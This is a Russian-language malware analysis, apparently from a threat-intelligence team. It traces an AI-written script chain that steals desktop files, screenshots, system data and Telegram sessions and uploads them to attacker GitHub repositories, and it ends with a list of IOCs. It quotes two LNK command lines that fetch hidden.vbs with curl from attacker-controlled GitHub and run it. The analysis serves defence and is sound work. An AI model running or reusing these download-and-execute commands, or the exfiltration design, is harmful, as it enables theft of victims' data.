В процессе исследования вредоносных файлов, которые использовали группировки злоумышленников, мы наткнулись на интересные ранее незамеченные атаки, в которых использовались GitHub-аккаунты для хранения вредоносных файлов и данных жертв. Эти атаки не выглядели как что-то массовое, и, судя по всему, при разработке злоумышленники использовали ИИ. Самую раннюю подобную активность мы зафиксировали в сентябре 2024 года, самую позднюю — в апреле 2025-го.

Мы в команде Threat Intelligence исследуем сложные атаки с интересными способами закрепления и сбора информации, с уникальной инфраструктурой. Бывает, попадаются какие-то простенькие скрипты на пару строчек или же «бомбы», которые запускают сразу десятки различных малварей. Но очень редко мы встречаем настолько длинные цепочки очень простых скриптов, написанных ИИ и при этом рабочих, в такой сложной связке — видно, что логика была продумана. Считайте, это описание APT в иерархии script kiddie.

Начало исследования

Как-то в рамках одной из задач мы наткнулись на интересный файл с двойным расширением, которые сразу привлёк наше внимание:

document.docx.lnk SHA-256: 6bea2d17c26ffc7cec6d6e9c7d8548c5d8ce75e5523bfc7f3bfcde4f055848ff

Нас привлекла команда, которая качала файл hidden.vbs с GitHub, а также запускала легитимный PDF-файл, который скачивался из онлайн-библиотеки Каймановых островов.

/min cmd /c curl -o %TEMP%\hidden.vbs https://raw.githubusercontent.com/jacker8181/fff/refs/heads/main/hidden.vbs && cd %TEMP% && start hidden.vbs && start https://cnslibrary.com/wp-content/uploads/2024-2026-SPS.pdf

У пользователя jacker8181, который был указан внутри скрипта, есть два репозитория — fff и tune:

Рис. 1 — GitHub-аккаунт jacker8181
Рис. 1 — GitHub-аккаунт jacker8181

Репозиторий fff содержит два файла:

  • hidden.vbs SHA-256: eee0cca526348c2bf393574df418e43ca192671458a4d4d0d5d8d09206ad7757

  • unp.bat SHA-256: 2e7bd3ac84f3e4014274ec418f6d0467748b8fcbe858c50bdaf84becf97da023

Файл hidden.vbs уже на этом этапе привлекает внимание стилем кодинга — комментарии под каждой функцией, а также общий вид кода явно были разработаны c помощью запросов к ИИ:

Рис. 2 — Контент файла hidden.vbs
Рис. 2 — Контент файла hidden.vbs

Скрипт скачивал ZIP-архив с filebin.net, а скрипт unp.bat разархивировал этот архив и запускал следующий файл в цепочке — git_v.vbs:

Рис. 3 — Контент файла git_v.vbs
Рис. 3 — Контент файла git_v.vbs

Репозиторий tune содержал папку tdata, связанную с данными Telegram, а также файлы, связанные с системой жертвы, например system_unfo.txt:

Рис. 4 — Контент файла system_unfo.txt
Рис. 4 — Контент файла system_unfo.txt

В данном случае папка tune хоть и содержала файлы, но при этом они весили по 0 КБ, а по файлам системы невозможно точно идентифицировать жертву. 

Так или иначе, мы начали собирать данные об этих атаках и проанализировали всю цепочку.

Полная цепочка атаки

Мы не смогли обнаружить точный первоначальный вектор, но, судя по всему, атаки начинались с имейлов с вредоносным вложением в виде ZIP- или RAR-архива. Для примера возьмем файл document.zip SHA-256: d83eb2bc85d29d8fe7bcfb1383de3643fcf8f5523ccf02167de1bcc298aa14fd

Цепочки атаки достаточно длинные и запутанные. Представим их визуальную схему:

Рис. 5 — Визуальное отображение цепочки атаки
Рис. 5 — Визуальное отображение цепочки атаки

Архив содержит fille_docu.lnk SHA-256: 08f6cb6d682c9fc9ea895f4bd71ada780a66882aa7330137be6f17fae755eb4a со следующим скриптом:

/min cmd /c curl -o %TEMP%\hidden.vbs https://raw.githubusercontent.com/Allsafetui/lex/refs/heads/main/hidden.vbs && cd %TEMP% && start hidden.vbs && start https://career.habr.com/olya-yurievna.pdf"%systemroot%\system32\imageres.dll

Интересно, что атакующий пытался в качестве приманки использовать резюме с career.habr, но в этом случае с огромной долей вероятности PDF-файл по этому пути не мог существовать.

Сам аккаунт на GitHub сейчас не содержит репозиториев:

Рис. 6 — GitHub аккаунт Allsafetui
Рис. 6 — GitHub аккаунт Allsafetui

Файл hidden.vbs загружался с GitHub, но так как сейчас там файлов нет, обнаружить конкретный файл, который был в GitHub аккаунте Allsafetui, невозможно. Но мы нашли два файла, связанных с этим репозиторием:

  • hidden.vbs SHA-256: 2b2dc11a9adbc40813b6290a4b117f37ab940c3baebedf19948ba5b7935ab754

  • hidden.vbs SHA-256: 658c9f9f6f695c4295db4552326fec1daac621f1fcba63b52ff0c704885f1473

Функциональность у обоих файлов аналогична hidden.vbs, единственные различия — в ссылках на Best_Gits.zip:

Файл hidden.vbs качает unp.bat, который разархивирует архив Best_Gits.zip 11d11058d955a03d2fc7270c2968b35867903f4f11b0e23c0aa56655a28df4b8 во временной папке и запускает первый скрипт git_v.vbs:

Рис. 7 — Контент git_v.vbs
Рис. 7 — Контент git_v.vbs

Сама папка Best_Gits.zip имеет следующую структуру:

Рис. 8 — Структура распакованной папки Best_Gits
Рис. 8 — Структура распакованной папки Best_Gits

Скрипт git_v.vbs запускает в скрытом окне git.cmd:

Рис. 9 — Контент git.cmd
Рис. 9 — Контент git.cmd

В свою очередь, git.cmd сразу запускает hidden_runs.vbs, ждет 5 минут, запускает t.vbs, потом опять ждет 10 минут и пушит данные из папки LO в репозиторий GitHub.

Сначала разберемся до команды TIMEOUT: hidden_runs.vbs — прослойка, которая запускает три других скрипта:

Рис. 10 — Контент hidden_runs.vbs
Рис. 10 — Контент hidden_runs.vbs
  1. Первый скрипт — это password_grab.cmd. Скрипт ищет на рабочем столе файлы по имени и сохраняет их в LO/info_desktop. Реализован был, скорее всего, с помощью сложного промпта, типа «создай скрипт, который крадет пароли»: 

    Рис. 11 — Контент password_grab.cmd
    Рис. 11 — Контент password_grab.cmd
  2. Скрипт screenshot.cmd запускает screen.ps1 в скрытом окне через PowerShell, и screen.ps1 уже собирает данные. Для нашего удобства при создании ИИ уже расписал всю функциональность:

    Рис. 12 — Контент screenshot.cmd
    Рис. 12 — Контент screenshot.cmd
    Рис. 13 — Контент screen.ps1
    Рис. 13 — Контент screen.ps1
  3.  Третий скрипт, system.bat, также удобно расписан в комментариях. Он собирает информацию о системе и сохраняет ее в system_info.txt:

    Рис. 14 — Контент system.bat
    Рис. 14 — Контент system.bat

Как было сказано выше, спустя 5 минут после запуска git.cmd запускался t.vbs. Скрипт останавливал процесс Telegram и копировал данные tdata в LO/tdata:

Рис. 15 — Контент t.vbs
Рис. 15 — Контент t.vbs

После еще 10 минут ожидания, когда скрипты собрали все данные, с помощью библиотек и модифицированной версии git.exe файлы отправляются в репозиторий https://github.com/Allsafetui с использованием личного access token с отключенным SSL-сертификатом. 

Интересно, что архив также содержал screenshot_hiden.cmd, но этот файл нигде не использовался, а еще был таким же, как обычный screenshot.cmd, только без функции hidden (но называется hidden, да):

Рис. 16 — Контент screenshot_hiden.cmd
Рис. 16 — Контент screenshot_hiden.cmd

Остальные аккаунты

В случае аккаунта jacker8181 мы нашли данные, собранные на компьютере жертвы, но они не содержали какой-то чувствительной информации и, судя по названиям, были результатом прогона в одной из песочниц. При этом мы нашли еще несколько аккаунтов злоумышленников, но большая их часть была удалена. Активным был еще один, который содержал файлы:

Рис. 17 — Аккаунт jockop77
Рис. 17 — Аккаунт jockop77

Это самый ранний аккаунт, который мы нашли, и, судя по коммитам, он был активен в сентябре 2024 года.

Аккаунт содержал три репозитория:

1) - — содержит файл readme.md с символом -

2) fff — содержит hidden.vbs и unp.bat

3) tet — содержит текстовый файл t.txt

Файл t.txt содержит текст с требованием доставить 50 тысяч долларов в старую библиотеку ночью в пятницу и выглядит совершенно странно в общем контексте: 

Рис. 18 — Контент t.txt
Рис. 18 — Контент t.txt

Злоумышленник загружал файлы hidden.vbs и unp.bat 16 сентября 2024 года в 16:17:28 с имейлом danatolevic544@gmail.com, а в 16:18:13 с myemail@example.com был загружен файл, который также присутствует в коде git.cmd — вероятно, этот файл тестовый:

Рис. 19 — Предположительно тестовый коммит от самого злоумышленника
Рис. 19 — Предположительно тестовый коммит от самого злоумышленника

Всего было найдено шесть разных аккаунтов, но их количество может быть больше, так как половина уже удалена. В коде во всех случаях создавалась папка с данными и загружалась на GitHub аккаунт, — вероятно, атаки были не массовыми, а таргетированными и проводились по принципу «один аккаунт — одна жертва», если у злоумышленников не была реализована система с уведомлениями при новом коммите и автоматическим забором файлов с дальнейшей очисткой. 

Но судя по аккаунту jacker8181, в котором репозиторий tune до сих пор присутствует, скорее всего, такого механизма не было. 

Аккаунт GitHub

Статус

https://github.com/Allsafetui

активный без файлов

https://github.com/jacker8181

активный

https://github.com/jockop77

активный

https://github.com/stomy707

неактивный

https://github.com/mike22244

неактивный

https://github.com/jocki70

неактивный

IOCs

hidden.vbs: 2b2dc11a9adbc40813b6290a4b117f37ab940c3baebedf19948ba5b7935ab754 658c9f9f6f695c4295db4552326fec1daac621f1fcba63b52ff0c704885f1473 c443829a81bcf8565686c6395f1eddedecac4175b97d77678907c8b1453c70e3 231d60a57386b26c7ac96124adf357646731b7338874c62f5e3af7950da87e28 2b8bcbefb5876395958160a6f831e660f212865aac124f275977995cc8e5d7a4 04a459443bd8015089afd946ea088a0cf6141a9c7f28a954c1fd27826cf95422 eee0cca526348c2bf393574df418e43ca192671458a4d4d0d5d8d09206ad7757 8c747c1319dc5564b15ddb0ba913f347ab22fbb5bbbc3ee88f99096245f87ea0

Best_Gits.zip

b3315bfa572827aae2b4c1ce658617514081fae0d7731d0861ea8bee974db1ca

eb2e455ceadbbb28dd09fa966bb7268fa817f2a749af899811017ce3964b8a74

11d11058d955a03d2fc7270c2968b35867903f4f11b0e23c0aa56655a28df4b8

047f0735b7ec7f9666e0430b7aaf578bedeff555c3fa286e4bf11bf9afcfeaee

b3576ffd3d5db8f5fc095e010a1cfe13a7065d90f336a0be6f63b2a141a75114

564ca80990e27c4e1d881835b4a051a813f29874eeca942c5f278031531c4b19

Остальные файлы

b.rar

51ec727fabb6ffc26a6100a56da6919a4f869076deb1ecfbfa85eb5b5cc32bdb

unp.bat

6f4b22f593af20b1bae21370efebed2699d407b139befa546d982c7c2fbef9b0

unp.bat

2e7bd3ac84f3e4014274ec418f6d0467748b8fcbe858c50bdaf84becf97da023

f_62167fba570ac718.zip

9e936bacfb2e22658c1cc77fbef583a3bbc36599608949f0850a69505894d3db

document.zip

d83eb2bc85d29d8fe7bcfb1383de3643fcf8f5523ccf02167de1bcc298aa14fd

payload_1.zip

c0c04d2e43ba6910bae4b0aaa2ebdc7069a365ff9a75aa98b4c5342161d45e87

_doc_390234.zip

3f4f86fac8e2c040c138b6d2a14cf6856b83951415df1bffcd2be2ac596af572

code.zip

45fc1fadc5a0c5e34f68e8822128fca3f1dcb8c5e040625287b503e021f22366

document.docx.lnk

6bea2d17c26ffc7cec6d6e9c7d8548c5d8ce75e5523bfc7f3bfcde4f055848ff

document.docx.lnk

5a3da63fa0d00f9409ab6feeafd7638b35039e0543d511785c5fb36fcfae20cb

telegram bot code.lnk

b7fe85a96eb2c4d079f9f0070d623e2e9278abd41c62f2582500e91b58403409

codepen.lnk

c9175e179e86a5f653373c540ac8663a741f26e693268d3080586291b1f44c43

codepen.txt.lnk

34c594b8a5920cbe9a8758ad196b0ef1b837fa4135f6e7324ad8e8b6c68b45c0

doc_237943_.lnk

268e5e051ae4866ca72055c9b6f10fdd6e68eb247b61ce987a219c2324dc5179

fille_docu.lnk

08f6cb6d682c9fc9ea895f4bd71ada780a66882aa7330137be6f17fae755eb4a

doc_237943_.lnk

f73a1fb7d2b44ebc0136cfdd6a70db7b948c7ccfa6f234dca56237c5b0a6c03a

_doc_390234.pdf.ln

7672312e3df69bccf57d0ac595920cd4e9d3dc14e70532c39a367b4bd205d339


Александр Бадаев

Cпециалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Комментарии (0)